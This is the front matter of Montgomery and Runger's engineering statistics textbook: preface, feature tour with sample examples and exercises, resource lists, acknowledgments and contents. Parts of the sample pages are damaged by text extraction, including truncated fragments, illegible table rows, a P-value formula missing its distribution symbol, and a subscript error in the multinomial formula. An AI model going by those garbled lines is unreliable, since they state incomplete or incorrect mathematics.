Applied Statistics and Probabilty for Engineers

Fifth Edition

Douglas C. Montgomery George C. Runger

Applied Statistics and Probability for Engineers

Fifth Edition

Douglas C. Montgomery
Arizona State University

George C. Runger
Arizona State University

John Wiley & Sons, Inc.

To:

Meredith, Neil, Colin, and Cheryl

Rebecca, Elisa, George, and Taylor

EXECUTIVE PUBLISHER *Don Fowley*
ASSOCIATE PUBLISHER *Daniel Sayre*
ACQUISITIONS EDITOR *Jennifer Welter*
PRODUCTION EDITOR *Trish McFadden*
MARKETING MANAGER *Christopher Ruel*
SENIOR DESIGNER *Kevin Murphy*
MEDIA EDITOR *Lauren Sapira*
PHOTO ASSOCIATE *Sheena Goldstein*
EDITORIAL ASSISTANT *Alexandra Spicehandler*
PRODUCTION SERVICES MANAGEMENT Aptara
COVER IMAGE *Norm Christiansen*

This book was set in 10/12 pt. TimesNewRomanPS by Aptara and printed and bound by R.R. Donnelley/Willard Division. The cover was printed by Phoenix Color.

This book is printed on acid-free paper. ∞

Copyright © 2011 John Wiley & Sons, Inc. All rights reserved.

No part of this publication may be reproduced, stored in a retrieval system or transmitted in any form or by any means, electronic, mechanical, photocopying, recording, scanning, or otherwise, except as permitted under Sections 107 or 108 of the 1976 United States Copyright Act, without either the prior written permission of the Publisher, or authorization through payment of the appropriate per-copy fee to the Copyright Clearance Center, Inc. 222 Rosewood Drive, Danvers, MA 01923, website www.copyright.com. Requests to the Publisher for permission should be addressed to the Permissions Department, John Wiley & Sons, Inc., 111 River Street, Hoboken, NJ 07030-5774, (201) 748-6011, fax (201) 748-6008, website http://www.wiley.com/go/permissions.
To order books or for customer service, please call 1-800-CALL WILEY (225-5945).

ISBN–13: 978-0-470-05304-1

Printed in the United States of America

10 9 8 7 6 5 4 3 2 1

Wiley Books by These Authors
Website: www.wiley.com/college/montgomery

Engineering Statistics, Fourth Edition
by Montgomery, Runger, and Hubele
Introduction to engineering statistics, with topical coverage appropriate for a one-semester course. A modest mathematical level, and an applied approach.

Applied Statistics and Probability for Engineers, Fifth Edition
by Montgomery and Runger
Introduction to engineering statistics, with topical coverage appropriate for either a one- or two-semester course. An applied approach to solving real-world engineering problems.

Introduction to Statistical Quality Control, Sixth Edition
by Douglas C. Montgomery
For a first course in statistical quality control. A comprehensive treatment of statistical methodology for quality control and improvement. Some aspects of quality management are also included, such as the six-sigma approach.

Design and Analysis of Experiments, Seventh Edition
by Douglas C. Montgomery
An introduction to design and analysis of experiments, with the modest prerequisite of a first course in statistical methods. For senior and graduate students and for practitioners, to design and analyze experiments for improving the quality and efficiency of working systems.

Introduction to Linear Regression Analysis, Fourth Edition
by Montgomery, Peck, and Vining
A comprehensive and thoroughly up-to-date look at regression analysis, still the most widely used technique in statistics today.

Response Surface Methodology: Process and Product Optimization Using Designed Experiments, Third Edition
by Myers, Montgomery, and Anderson-Cook
Website: www.wiley.com/college/myers
The exploration and optimization of response surfaces, for graduate courses in experimental design, and for applied statisticians, engineers, and chemical and physical scientists.

Generalized Linear Models: With Applications in Engineering and the Sciences
by Myers, Montgomery, and Vining
Website: www.wiley.com/college/myers
An introductory text or reference on generalized linear models (GLMs). The range of theoretical topics and applications appeals both to students and practicing professionals.

Introduction to Time Series Analysis and Forecasting
by Montgomery, Jennings, and Kulahci
Methods for modeling and analyzing time series data, to draw inferences about the data and generate forecasts useful to the decision maker. Minitab and SAS are used to illustrate how the methods are implemented in practice. For advanced undergrad/first-year graduate, with a prerequisite of basic statistical methods. Portions of the book require calculus and matrix algebra.

Preface

INTENDED AUDIENCE

This is an introductory textbook for a first course in applied statistics and probability for undergraduate students in engineering and the physical or chemical sciences. These individuals play a significant role in designing and developing new products and manufacturing systems and processes, and they also improve existing systems. Statistical methods are an important tool in these activities because they provide the engineer with both descriptive and analytical methods for dealing with the variability in observed data. Although many of the methods we present are fundamental to statistical analysis in other disciplines, such as business and management, the life sciences, and the social sciences, we have elected to focus on an engineering-oriented audience. We believe that this approach will best serve students in engineering and the chemical/physical sciences and will allow them to concentrate on the many applications of statistics in these disciplines. We have worked hard to ensure that our examples and exercises are engineering- and science-based, and in almost all cases we have used examples of real data—either taken from a published source or based on our consulting experiences.

We believe that engineers in all disciplines should take at least one course in statistics. Unfortunately, because of other requirements, most engineers will only take one statistics course. This book can be used for a single course, although we have provided enough material for two courses in the hope that more students will see the important applications of statistics in their everyday work and elect a second course. We believe that this book will also serve as a useful reference.

We have retained the relatively modest mathematical level of the first four editions. We have found that engineering students who have completed one or two semesters of calculus should have no difficulty reading almost all of the text. It is our intent to give the reader an understanding of the methodology and how to apply it, not the mathematical theory. We have made many enhancements in this edition, including reorganizing and rewriting major portions of the book and adding a number of new exercises.

ORGANIZATION OF THE BOOK

Perhaps the most common criticism of engineering statistics texts is that they are too long. Both instructors and students complain that it is impossible to cover all of the topics in the book in one or even two terms. For authors, this is a serious issue because there is great variety in both the content and level of these courses, and the decisions about what material to delete without limiting the value of the text are not easy. Decisions about which topics to include in this edition were made based on a survey of instructors.

Chapter 1 is an introduction to the field of statistics and how engineers use statistical methodology as part of the engineering problem-solving process. This chapter also introduces the reader to some engineering applications of statistics, including building empirical models, designing engineering experiments, and monitoring manufacturing processes. These topics are discussed in more depth in subsequent chapters.

Chapters 2, 3, 4, and 5 cover the basic concepts of probability, discrete and continuous random variables, probability distributions, expected values, joint probability distributions, and independence. We have given a reasonably complete treatment of these topics but have avoided many of the mathematical or more theoretical details.

Chapter 6 begins the treatment of statistical methods with random sampling; data summary and description techniques, including stem-and-leaf plots, histograms, box plots, and probability plotting; and several types of time series plots. Chapter 7 discusses sampling distributions, the central limit theorem, and point estimation of parameters. This chapter also introduces some of the important properties of estimators, the method of maximum likelihood, the method of moments, and Bayesian estimation.

Chapter 8 discusses interval estimation for a single sample. Topics included are confidence intervals for means, variances or standard deviations, proportions, prediction intervals, and tolerance intervals. Chapter 9 discusses hypothesis tests for a single sample. Chapter 10 presents tests and confidence intervals for two samples. This material has been extensively rewritten and reorganized. There is detailed information and examples of methods for determining appropriate sample sizes. We want the student to become familiar with how these techniques are used to solve real-world engineering problems and to get some understanding of

the concepts behind them. We give a logical, heuristic development of the procedures rather than a formal, mathematical one. We have also included some material on nonparametric methods in these chapters.

Chapters 11 and 12 present simple and multiple linear regression including model adequacy checking and regression model diagnostics and an introduction to logistic regression. We use matrix algebra throughout the multiple regression material (Chapter 12) because it is the only easy way to understand the concepts presented. Scalar arithmetic presentations of multiple regression are awkward at best, and we have found that undergraduate engineers are exposed to enough matrix algebra to understand the presentation of this material.

Chapters 13 and 14 deal with single- and multifactor experiments, respectively. The notions of randomization, blocking, factorial designs, interactions, graphical data analysis, and fractional factorials are emphasized. Chapter 15 introduces statistical quality control, emphasizing the control chart and the fundamentals of statistical process control.

WHAT'S NEW IN THIS EDITION?

We received much feedback from users of the fourth edition of the book, and in response we have made substantial changes in this new edition.

- The most obvious change is that the chapter on nonparametric methods is gone. We have integrated most of this material into Chapter 9 and 10 on statistical hypothesis testing, where we think it is a much better fit if instructors elect to cover these techniques.
- Another substantial change is the increased emphasis on the use of P-value in hypothesis testing. Many sections of several chapters were rewritten to reflect this.
- We have also rewritten and modified many portions of the book to improve the explanations and try to make the concepts easier to understand.
- We have added brief comments at the end of examples to emphasize the practical interpretations of the results.
- We have also added approximately 200 new homework exercises.

FEATURED IN THIS BOOK

Definitions, Key Concepts, and Equations

Throughout the text, definitions and key concepts and equations are highlighted by a box to emphasize their importance.

Learning Objectives

Learning Objectives at the start of each chapter guide the students in what they are expected to take away from this chapter and serve as a study reference.

LEARNING OBJECTIVES

After careful study of this chapter you should be able to do the following:

1. Determine probabilities from probability density functions
2. Determine probabilities from cumulative distribution functions and cumulative distribution functions from probability density functions, and the reverse
3. Calculate means and variances for continuous random variables
4. Understand the assumptions for some common continuous probability distributions
5. Select an appropriate continuous probability distribution to calculate probabilities in specific applications
6. Calculate probabilities, determine means and variances for some common continuous probability distributions
7. Standardize normal random variables
8. Use the table for the cumulative distribution function of a standard normal distribution to calculate probabilities
9. Approximate probabilities for some binomial and Poisson distributions

4-4 MEAN AND VARIANCE OF A CONTINUOUS RANDOM VARIABLE

The mean and variance can also be defined for a continuous random variable. Integration replaces summation in the discrete definitions. If a probability density function is viewed as a loading on a beam as in Fig. 4-1, the mean is the balance point.

Mean and Variance

Suppose X is a continuous random variable with probability density function $f(x)$. The **mean** or **expected value** of X, denoted as μ or $E(X)$, is

$$\mu = E(X) = \int_{-\infty}^{\infty} x f(x)\, dx \qquad (4\text{-}4)$$

The **variance** of X, denoted as $V(X)$ or σ^2, is

$$\sigma^2 = V(X) = \int_{-\infty}^{\infty} (x-\mu)^2 f(x)\, dx = \int_{-\infty}^{\infty} x^2 f(x)\, dx - \mu^2$$

The **standard deviation** of X is $\sigma = \sqrt{\sigma^2}$.

The equivalence of the two formulas for variance can be derived from the same approach used for discrete random variables.

tric Current

asurement in Example 4-1, the mean

$$) \, dx = 0.05x^2/2 \Big|_0^{20} = 10$$

The variance of X is

$$V(X) = \int_0^{20} (x-10)^2 f(x)\, dx = 0.05(x-10)^3/3 \Big|_0^{20} = 33.33$$

The expected value of a function $h(X)$ of a continuous random variable is also defined in a straightforward manner.

Function of a Continuous Random Variable

If X is a continuous random variable with probability density function $f(x)$,

$$E[h(X)] = \int_{-\infty}^{\infty} h(x) f(x)\, dx \qquad (4\text{-}5)$$

Seven-Step Procedure for Hypothesis Testing

The text introduces a sequence of seven steps in applying hypothesis-testing methodology and explicitly exhibits this procedure in examples.

9-1.6 General Procedure for Hypothesis Tests

This chapter develops hypothesis-testing procedures for many practical problems. Use of the following sequence of steps in applying hypothesis-testing methodology is recommended.

1. **Parameter of interest:** From the problem context, identify the parameter of interest.
2. **Null hypothesis, H_0:** State the null hypothesis, H_0.
3. **Alternative hypothesis, H_1:** Specify an appropriate alternative hypothesis, H_1.
4. **Test statistic:** Determine an appropriate test statistic.
5. **Reject H_0 if:** State the rejection criteria for the null hypothesis.
6. **Computations:** Compute any necessary sample quantities, substitute these into the equation for the test statistic, and compute that value.
7. **Draw conclusions:** Decide whether or not H_0 should be rejected and report that in the problem context.

Steps 1–4 should be completed prior to examination of the sample data. This sequence of steps will be illustrated in subsequent sections.

Figures

Numerous figures throughout the text illustrate statistical concepts in multiple formats.

Table 11-1 Oxygen and Hydrocarbon Levels

Observation Number	Hydrocarbon Level x(%)	Purity y(%)
1	0.99	90.01
2	1.02	89.05
3	1.15	91.43
4	1.29	93.74
5	1.46	96.73
6	1.36	94.45
7	0.87	87.59
8	1.23	91.77
9	1.55	99.42
10	1.40	93.65
11	1.19	93.54
12	1.15	92.52
[illegible]	[illegible]	90.56
[illegible]	[illegible]	89.54
[illegible]	[illegible]	89.85
[illegible]	[illegible]	90.39
[illegible]	[illegible]	93.25
[illegible]	[illegible]	93.41
[illegible]	[illegible]	94.98
[illegible]	[illegible]	87.33

Figure 11-1 Scatter diagram of oxygen purity versus hydrocarbon level from Table 11-1.

Figure 11-2 The distribution of Y for a given value of x for the oxygen purity–hydrocarbon data.

Minitab Output

Throughout the book, we have presented output from Minitab as typical examples of what can be done with modern statistical software.

Character Stem-and-Leaf Display

Stem-and-leaf of Strength
N = 80 Leaf Unit = 1.0

1	7	6
2	8	7
3	9	7
5	10	1 5
8	11	0 5 8
11	12	0 1 3
17	13	1 3 3 4 5 5
25	14	1 2 3 5 6 8 9 9
37	15	0 0 1 3 4 4 6 7 8 8 8 8
(10)	16	0 0 0 3 3 5 7 7 8 9
33	17	0 1 1 2 4 4 5 6 6 8
23	18	0 0 1 1 3 4 6
16	19	0 3 4 6 9 9
10	20	0 1 7 8
6	21	8
5	22	1 8 9
2	23	7
1	24	5

Figure 6-6 A stem-and-leaf diagram from Minitab.

Example Problems

A set of example problems provides the student with detailed solutions and comments for interesting, real-world situations. Brief practical interpretations have been added in this edition.

EXAMPLE 10-1 Paint Drying Time

A product developer is interested in reducing the drying time of a primer paint. Two formulations of the paint are tested; formulation 1 is the standard chemistry, and formulation 2 has a new drying ingredient that should reduce the drying time. From experience, it is known that the standard deviation of drying time is 8 minutes, and this inherent variability should be unaffected by the addition of the new ingredient. Ten specimens are painted with formulation 1, and another 10 specimens are painted with formulation 2; the 20 specimens are painted in random order. The two sample average drying times are $\bar{x}_1 = 121$ minutes and $\bar{x}_2 = 112$ minutes, respectively. What conclusions can the product developer draw about the effectiveness of the new ingredient, using $\alpha = 0.05$?

We apply the seven-step procedure to this problem as follows:

1. **Parameter of interest:** The quantity of interest is the difference in mean drying times, $\mu_1 - \mu_2$, and $\Delta_0 = 0$.
2. **Non hypothesis:** H_0: $\mu_1 - \mu_2 = 0$, or H_0: $\mu_1 = \mu_2$.
3. **Alternative hypothesis:** H_1: $\mu_1 > \mu_2$. We want to reject H_0 if the new ingredient reduces mean drying time.
4. **Test statistic:** The test statistic is

$$z_0 = \frac{\bar{x}_1 - \bar{x}_2 - 0}{\sqrt{\frac{\sigma_1^2}{n_1} + \frac{\sigma_2^2}{n_2}}}$$

where $\sigma_1^2 = \sigma_2^2 = (8)^2 = 64$ and $n_1 = n_2 = 10$.

5. **Reject H_0 if:** Reject H_0: $\mu_1 = \mu_2$ if the P-value is less than 0.05.
6. **Computations:** Since $\bar{x}_1 = 121$ minutes and $\bar{x}_2 = 112$ minutes, the test statistic is

$$z_0 = \frac{121 - 112}{\sqrt{\frac{(8)^2}{10} + \frac{(8)^2}{10}}} = 2.52$$

7. **Conclusion:** Since $z_0 = 2.52$, the P-value is $P = 1 - (2.52) = 0.0059$, so we reject H_0 at the $\alpha = 0.05$ level

Practical Interpretation: We conclude that adding the new ingredient to the paint significantly reduces the drying time. This is a strong conclusion.

Exercises

Each chapter has an extensive collection of exercises, including **end-of-section exercises** that emphasize the material in that section, **supplemental exercises** at the end of the chapter that cover the scope of chapter topics and require the student to make a decision about the approach they will use to solve the problem, and **mind-expanding exercises** that often require the student to extend the text material somewhat or to apply it in a novel situation.

Answers are provided to most odd-numbered exercises in Appendix C in the text, and the *WileyPLUS* online learning environment includes for students complete detailed solutions to selected exercises.

EXERCISES FOR SECTION 5-5

5-67. Suppose that X is a random variable with probability distribution

$$f_X(x) = 1/4, \qquad x = 1, 2, 3, 4$$

5-73. Suppose that X has the probability distribution

$$f_X(x) = 1, \qquad 1 \le x \le 2$$

(a) Find the probability distribution of the random variable $Y = 2X + 10$.

(b) Find the expected value of Y.

5-70. Suppose that X has a uniform probability distribution

$$f_X(x) = 1, \qquad 0 \le x \le 1$$

Show that the probability distribution of the random variable $Y = -2 \ln X$ is chi-squared with two degrees of freedom.

5-71. A random variable X has the following probability distribution:

Supplemental Exercises

5-75. Show that the following function satisfies the properties of a joint probability mass function:

x	y	$f(x, y)$
0	0	1/4
0	1	1/8
1	0	1/8
1	1	1/4
2	2	1/4

MIND-EXPANDING EXERCISES

5-96. Show that if $X_1, X_2, \ldots, X_p$ are independent, continuous random variables, $P(X_1 \in A_1, X_2 \in A_2, \ldots, X_p \in A_p) = P(X_1 \in A_1)P(X_2 \in A_2)\ldots P(X_p \in A_p)$ for any regions $A_1, A_2, \ldots, A_p$ in the range of $X_1, X_2, \ldots, X_p$ respectively.

5-97. Show that if $X_1, X_2, \ldots, X_p$ are independent random variables and $Y = c_1X_1 + c_2X_2 + \cdots + c_pX_p$,

$$V(Y) = c_1^2V(X_1) + c_2^2V(X_2) + \cdots + c_p^2V(X_p)$$

You may assume that the random variables are continuous.

5-98. Suppose that the joint probability function of the continuous random variables X and Y is constant on the rectangle $0 < x < a$, $0 < y < b$. Show that X and Y are independent.

5-99. Suppose that the range of the continuous variables X and Y is $0 < x < a$ and $0 < y < b$. Also suppose that the joint probability density function $f_{XY}(x, y) = g(x)h(y)$, where $g(x)$ is a function only of x and $h(y)$, is a function only of y. Show that X and Y are independent.

5-100. This exercise extends the hypergeometric distribution to multiple variables. Consider a population with N items of k different types. Assume there are N_1 items of type 1, N_2 items of type 2, ..., N_k items of type k so that $N_1 + N_2 + \ldots + \ldots, N_k = N$. Suppose that a random sample of size n is selected, without replacement, from the population. Let $X_1, X_2, \ldots, X_k$ denote the number of items of each type in the sample so that $X_1, X_2, + \ldots + \ldots, X_k = n$. Show that for feasible values of the parameters n, $x_1, x_2, \ldots, x_k, N_1, N_2, \ldots, N_k$, the probability is $P(X_1 = x_1, X_2 = x_2, \ldots, X_k = x_k)$

$$= \frac{\binom{N_1}{x_1}\binom{N_2}{x_2}\cdots\binom{N_k}{x_n}}{\binom{N}{n}}$$

Important Terms and Concepts

At the end of each chapter is a list of important terms and concepts for an easy self-check and study tool.

IMPORTANT TERMS AND CONCEPTS

Bivariate distribution	Conditional variance	Joint probability density function	Multinomial distribution
Bivariate normal distribution	Contour plots	Joint probability mass function	Reproductive property of the normal distribution
Conditional mean	Correlation		
	Covariance		

STUDENT RESOURCES

- **Data Sets** Data sets for all examples and exercises in the text. Visit the student section of the book Web site at www.wiley.com/college/montgomery to access these materials.
- **Student Solutions Manual** Detailed solutions for selected problems in the book. The *Student Solutions Manual* may be purchased from the Web site at www.wiley.com/college/montgomery.

INSTRUCTOR RESOURCES

The following resources are available only to instructors who adopt the text:

- **Solutions Manual** All solutions to the exercises in the text.
- **Data Sets** Data sets for all examples and exercises in the text.
- **Image Gallery of Text Figures**
- **PowerPoint Lecture Slides**
- **Section on Logistic Regression**

These instructor-only resources are password-protected. Visit the instructor section of the book Web site at www.wiley.com/college/montgomery to register for a password to access these materials.

MINITAB

A student version of Minitab is available as an option to purchase in a set with this text. Student versions of software often do not have all the functionality that full versions do. Consequently, student versions may not support all the concepts presented in this text. If you would like to adopt for your course the set of this text with the student version of Minitab, please contact your local Wiley representative at www.wiley.com/college/rep.

Alternatively, students may find information about how to purchase the professional version of the software for academic use at www.minitab.com.

WileyPLUS

This online teaching and learning environment integrates the **entire digital textbook** with the most effective instructor and student resources to fit every learning style.

With *WileyPLUS*:

- Students achieve concept mastery in a rich, structured environment that's available 24/7.
- Instructors personalize and manage their course more effectively with assessment, assignments, grade tracking, and more.

WileyPLUS can complement your current textbook or replace the printed text altogether.

For Students

Personalize the learning experience

Different learning styles, different levels of proficiency, different levels of preparation—each of your students is unique. *WileyPLUS* empowers them to take advantage of their individual strengths:

- Students receive timely access to resources that address their demonstrated needs, and get immediate feedback and remediation when needed.
- Integrated, multi-media resources—including audio and visual exhibits, demonstration problems, and much more—provide multiple study-paths to fit each student's learning preferences and encourage more active learning.
- *WileyPLUS* includes many opportunities for self-assessment linked to the relevant portions of the text. Students can take control of their own learning and practice until they master the material.

For Instructors

Personalize the teaching experience
WileyPLUS empowers you with the tools and resources you need to make your teaching even more effective:

- You can customize your classroom presentation with a wealth of resources and functionality from PowerPoint slides to a database of rich visuals. You can even add your own materials to your *WileyPLUS* course.
- With *WileyPLUS* you can identify those students who are falling behind and intervene accordingly, without having to wait for them to come to office hours.
- *WileyPLUS* simplifies and automates such tasks as student performance assessment, making assignments, scoring student work, keeping grades, and more.

COURSE SYLLABUS SUGGESTIONS

This is a very flexible textbook because instructors' ideas about what should be in a first course on statistics for engineers vary widely, as do the abilities of different groups of students. Therefore, we hesitate to give too much advice, but will explain how we use the book.

We believe that a first course in statistics for engineers should be primarily an applied statistics course, not a probability course. In our one-semester course we cover all of Chapter 1 (in one or two lectures); overview the material on probability, putting most of the emphasis on the normal distribution (six to eight lectures); discuss most of Chapters 6 through 10 on confidence intervals and tests (twelve to fourteen lectures); introduce regression models in Chapter 11 (four lectures); give an introduction to the design of experiments from Chapters 13 and 14 (six lectures); and present the basic concepts of statistical process control, including the Shewhart control chart from Chapter 15 (four lectures). This leaves about three to four periods for exams and review. Let us emphasize that the purpose of this course is to introduce engineers to how statistics can be used to solve real-world engineering problems, not to weed out the less mathematically gifted students. This course is not the "baby math-stat" course that is all too often given to engineers.

If a second semester is available, it is possible to cover the entire book, including much of the supplemental material, if appropriate for the audience. It would also be possible to assign and work many of the homework problems in class to reinforce the understanding of the concepts. Obviously, multiple regression and more design of experiments would be major topics in a second course.

USING THE COMPUTER

In practice, engineers use computers to apply statistical methods to solve problems. Therefore, we strongly recommend that the computer be integrated into the class. Throughout the book we have presented output from Minitab as typical examples of what can be done with modern statistical software. In teaching, we have used other software packages, including Statgraphics, JMP, and Statistica. We did not clutter up the book with examples from many different packages because how the instructor integrates the software into the class is ultimately more important than which package is used. All text data are available in electronic form on the textbook Web site. In some chapters, there are problems that we feel should be worked using computer software. We have marked these problems with a special icon in the margin.

In our own classrooms, we use the computer in almost every lecture and demonstrate how the technique is implemented in software as soon as it is discussed in the lecture. Student versions of many statistical software packages are available at low cost, and students can either purchase their own copy or use the products available on the PC local area networks. We have found that this greatly improves the pace of the course and student understanding of the material.

Users should be aware that final answers may differ slightly due to different numerical precision and rounding protocols among softwares.

ACKNOWLEDGMENTS

We would like to express our grateful appreciation to the many organizations and individuals who have contributed to this book. Many instructors who used the previous editions provided excellent suggestions that we have tried to incorporate in this revision.

We would like to thank the following who assisted in contributing to and/or reviewing material for the *WileyPLUS* course:

Michael DeVasher, Rose-Hulman Institute of Technology
Craig Downing, Rose-Hulman Institute of Technology
Julie Fortune, University of Alabama in Huntsville
Rubin Wei, Texas A&M University

We would also like to thank the following for their assistance in checking the accuracy and completeness of the exercises and the solutions to exercises.

Abdelaziz Berrado, Arizona State University
Dr. Connie Borror, Arizona State Universtity
Patrick Egbunonu, Queens University
James C. Ford, Ford Consulting Associates
Dr. Alejandro Heredia-Langner
Jing Hu, Arizona State University
Busaba Laungrungrong, Arizona State University
Fang Li, Arizona State University
Nuttha Lurponglukana, Arizona State University
Sarah Streett
Yolande Tra, Rochester Institute of Technology
Dr. Lora Zimmer

We are also indebted to Dr. Smiley Cheng for permission to adapt many of the statistical tables from his excellent book (with Dr. James Fu), *Statistical Tables for Classroom and Exam Room.* John Wiley and Sons, Prentice Hall, the Institute of Mathematical Statistics, and the editors of Biometrics allowed us to use copyrighted material, for which we are grateful.

Douglas C. Montgomery

George C. Runger

Contents

INSIDE FRONT COVER Index of Applications in Examples and Exercises

CHAPTER 1 The Role of Statistics in Engineering 1

1-1 The Engineering Method and Statistical Thinking 2
1-2 Collecting Engineering Data 5
1-2.1 Basic Principles 5
1-2.2 Retrospective Study 5
1-2.3 Observational Study 6
1-2.4 Designed Experiments 6
1-2.5 Observing Processes Over Time 9
1-3 Mechanistic and Empirical Models 12
1-4 Probability and Probability Models 15

CHAPTER 2 Probability 17

2-1 Sample Spaces and Events 18
2-1.1 Random Experiments 18
2-1.2 Sample Spaces 19
2-1.3 Events 22
2-1.4 Counting Techniques 24
2-2 Interpretations and Axioms of Probability 31
2-3 Addition Rules 37
2-4 Conditional Probability 41
2-5 Multiplication and Total Probability Rules 47
2-6 Independence 50
2-7 Bayes' Theorem 55
2-8 Random Variables 57

CHAPTER 3 Discrete Random Variables and Probability Distributions 66

3-1 Discrete Random Variables 67
3-2 Probability Distributions and Probability Mass Functions 68
3-3 Cumulative Distribution Functions 71
3-4 Mean and Variance of a Discrete Random Variable 74
3-5 Discrete Uniform Distribution 77
3-6 Binomial Distribution 79
3-7 Geometric and Negative Binomial Distributions 86
3-8 Hypergeometric Distribution 92
3-9 Poisson Distribution 97

CHAPTER 4 Continuous Random Variables and Probability Distributions 107

4-1 Continuous Random Variables 108
4-2 Probability Distributions and Probability Density Functions 108
4-3 Cumulative Distribution Functions 111
4-4 Mean and Variance of a Continuous Random Variable 114
4-5 Continuous Uniform Distribution 116
4-6 Normal Distribution 118
4-7 Normal Approximation to the Binomial and Poisson Distributions 127
4-8 Exponential Distribution 132
4-9 Erlang and Gamma Distributions 138
4-10 Weibull Distribution 141
4-11 Lognormal Distribution 144
4-12 Beta Distribution 146

CHAPTER 5 Joint Probability Distributions 152

5-1 Two or More Random Variables 153
5-1.1 Joint Probability Distributions 153
5-1.2 Marginal Probability Distributions 156
5-1.3 Conditional Probability Distributions 158
5-1.4 Independence 161
5-1.5 More Than Two Random Variables 163
5-2 Covariance and Correlation 170
5-3 Common Joint Distributions 176
5-3.1 Multinomial Distribution 176
5-3.2 Bivariate Normal Distribution 177
5-4 Linear Functions of Random Variables 181
5-5 General Functions of Random Variables 185

CHAPTER 6 Descriptive Statistics 191

6-1 Numerical Summaries of Data 192
6-2 Stem-and-Leaf Diagrams 197
6-3 Frequency Distributions and Histograms 203
6-4 Box Plots 208
6-5 Time Sequence Plots 210
6-6 Probability Plots 214

CHAPTER 7 Sampling Distributions and Point Estimation of Parameters 223

7-1 Point Estimation 224
7-2 Sampling Distributions and the Central Limit Theorem 225
7-3 General Concepts of Point Estimation 231
7-3.1 Unbiased Estimators 231
7-3.2 Variance of a Point Estimator 232
7-3.3 Standard Error: Reporting a Point Estimate 233
7-3.4 Mean Squared Error of an Estimator 234
7-4 Methods of Point Estimation 237
7-4.1 Method of Moments 237
7-4.2 Method of Maximum Likelihood 239
7-4.3 Bayesian Estimation of Parameters 244

CHAPTER 8 Statistical Intervals for a Single Sample 251

8-1 Confidence Interval on the Mean of a Normal Distribution, Variance Known 253
8-1.1 Development of the Confidence Interval and Its Basic Properties 253
8-1.2 Choice of Sample Size 256
8-1.3 One-sided Confidence Bounds 257
8-1.4 General Method to Derive a Confidence Interval 258
8-1.5 Large-Sample Confidence Interval for μ 258
8-2 Confidence Interval on the Mean of a Normal Distribution, Variance Unknown 261
8-2.1 t Distribution 262
8-2.2 t Confidence Interval on μ 263

8-3 Confidence Interval on the Variance and Standard Deviation of a Normal Distribution 266
8-4 Large-Sample Confidence Interval for a Population Proportion 270
8-5 Guidelines for Constructing Confidence Intervals 273
8-6 Tolerance and Prediction Intervals 274
8-6.1 Prediction Interval for a Future Observation 274
8-6.2 Tolerance Interval for a Normal Distribution 276

CHAPTER 9 Tests of Hypotheses for a Single Sample 283

9-1 Hypothesis Testing 284
9-1.1 Statistical Hypotheses 284
9-1.2 Tests of Statistical Hypotheses 286
9-1.3 One-Sided and Two-Sided Hypothesis 292
9-1.4 *P*-Values in Hypothesis Tests 294
9-1.5 Connection between Hypothesis Tests and Confidence Intervals 295
9-1.6 General Procedure for Hypothesis Tests 296
9-2 Tests on the Mean of a Normal Distribution, Variance Known 299
9-2.1 Hypothesis Tests on the Mean 299
9-2.2 Type II Error and Choice of Sample Size 303
9-2.3 Large-Sample Test 307
9-3 Tests on the Mean of a Normal Distribution, Variance Unknown 310
9-3.1 Hypothesis Tests on the Mean 310
9-3.2 Type II Error and Choice of Sample Size 314
9-4 Tests on the Variance and Standard Deviation of a Normal Distribution 319
9-4.1 Hypothesis Tests on the Variance 319
9-4.2 Type II Error and Choice of Sample Size 322
9-5 Tests on a Population Proportion 323
9-5.1 Large-Sample Tests on a Proportion 324
9-5.2 Type II Error and Choice of Sample Size 326
9-6 Summary Table of Inference Procedures for a Single Sample 329
9-7 Testing for Goodness of Fit 330
9-8 Contingency Table Tests 333
9-9 Nonparametric Procedures 337
9-9.1 The Sign Test 337
9-9.2 The Wilcoxon Signed-Rank Test 342
9-9.3 Comparison to the *t*-Test 344

CHAPTER 10 Statistical Inference for Two Samples 351

10-1 Inference on the Difference in Means of Two Normal Distributions, Variances Known 352
10-1.1 Hypothesis Tests on the Difference in Means, Variances Known 354
10-1.2 Type II Error and Choice of Sample Size 356
10-1.3 Confidence Interval on the Difference in Means, Variances Known 357
10-2 Inference on the Difference in Means of Two Normal Distributions, Variances Unknown 361
10-2.1 Hypothesis Tests on the Difference in Means, Variances Unknown 361
10-2.2 Type II Error and Choice of Sample Size 367
10-2.3 Confidence Interval on the Difference in Means, Variances Unknown 368
10-3 A Nonparametric Test for the Difference in Two Means 373
10-3.1 Description of the Wilcoxon Rank-Sum Test 373
10-3.2 Large-Sample Approximation 374
10-3.3 Comparison to the *t*-Test 375
10-4 Paired *t*-Test 376
10-5 Inference on the Variances of Two Normal Distributions 382
10-5.1 *F* Distribution 383
10-5.2 Hypothesis Tests on the Ratio of Two Variances 384
10-5.3 Type II Error and Choice of Sample Size 387
10-5.4 Confidence Interval on the Ratio of Two Variances 387
10-6 Inference on Two Population Proportions 389
10-6.1 Large-Sample Tests on the Difference in Population Proportions 389
10-6.2 Type II Error and Choice of Sample Size 391
10-6.3 Confidence Interval on the Difference in Population Proportions 392
10-7 Summary Table and Roadmap for Inference Procedures for Two Samples 394

CHAPTER 11 Simple Linear Regression and Correlation 401

11-1 Empirical Models 402
11-2 Simple Linear Regression 405
11-3 Properties of the Least Squares Estimators 414
11-4 Hypothesis Tests in Simple Linear Regression 415
11-4.1 Use of *t*-Tests 415
11-4.2 Analysis of Variance Approach to Test Significance of Regression 417
11-5 Confidence Intervals 421
11-5.1 Confidence Intervals on the Slope and Intercept 421
11-5.2 Confidence Interval on the Mean Response 421
11-6 Prediction of New Observations 423
11-7 Adequacy of the Regression Model 426
11-7.1 Residual Analysis 426
11-7.2 Coefficient of Determination (R^2) 428
11-8 Correlation 431
11-9 Regression on Transformed Variables 437
11-10 Logistic Regression 440

CHAPTER 12 Multiple Linear Regression 449

12-1 Multiple Linear Regression Model 450
12-1.1 Introduction 450
12-1.2 Least Squares Estimation of the Parameters 452
12-1.3 Matrix Approach to Multiple Linear Regression 456
12-1.4 Properties of the Least Squares Estimators 460
12-2 Hypothesis Tests in Multiple Linear Regression 470
12-2.1 Test for Significance of Regression 470
12-2.2 Tests on Individual Regression Coefficients and Subsets of Coefficients 472
12-3 Confidence Intervals in Multiple Linear Regression 479
12-3.1 Confidence Intervals on Individual Regression Coefficients 479
12-3.2 Confidence Interval on the Mean Response 480
12-4 Prediction of New Observations 481
12-5 Model Adequacy Checking 484
12-5.1 Residual Analysis 484
12-5.2 Influential Observations 487

12-6 Aspects of Multiple Regression Modeling 490
12-6.1 Polynomial Regression Models 490
12-6.2 Categorical Regressors and Indicator Variables 492
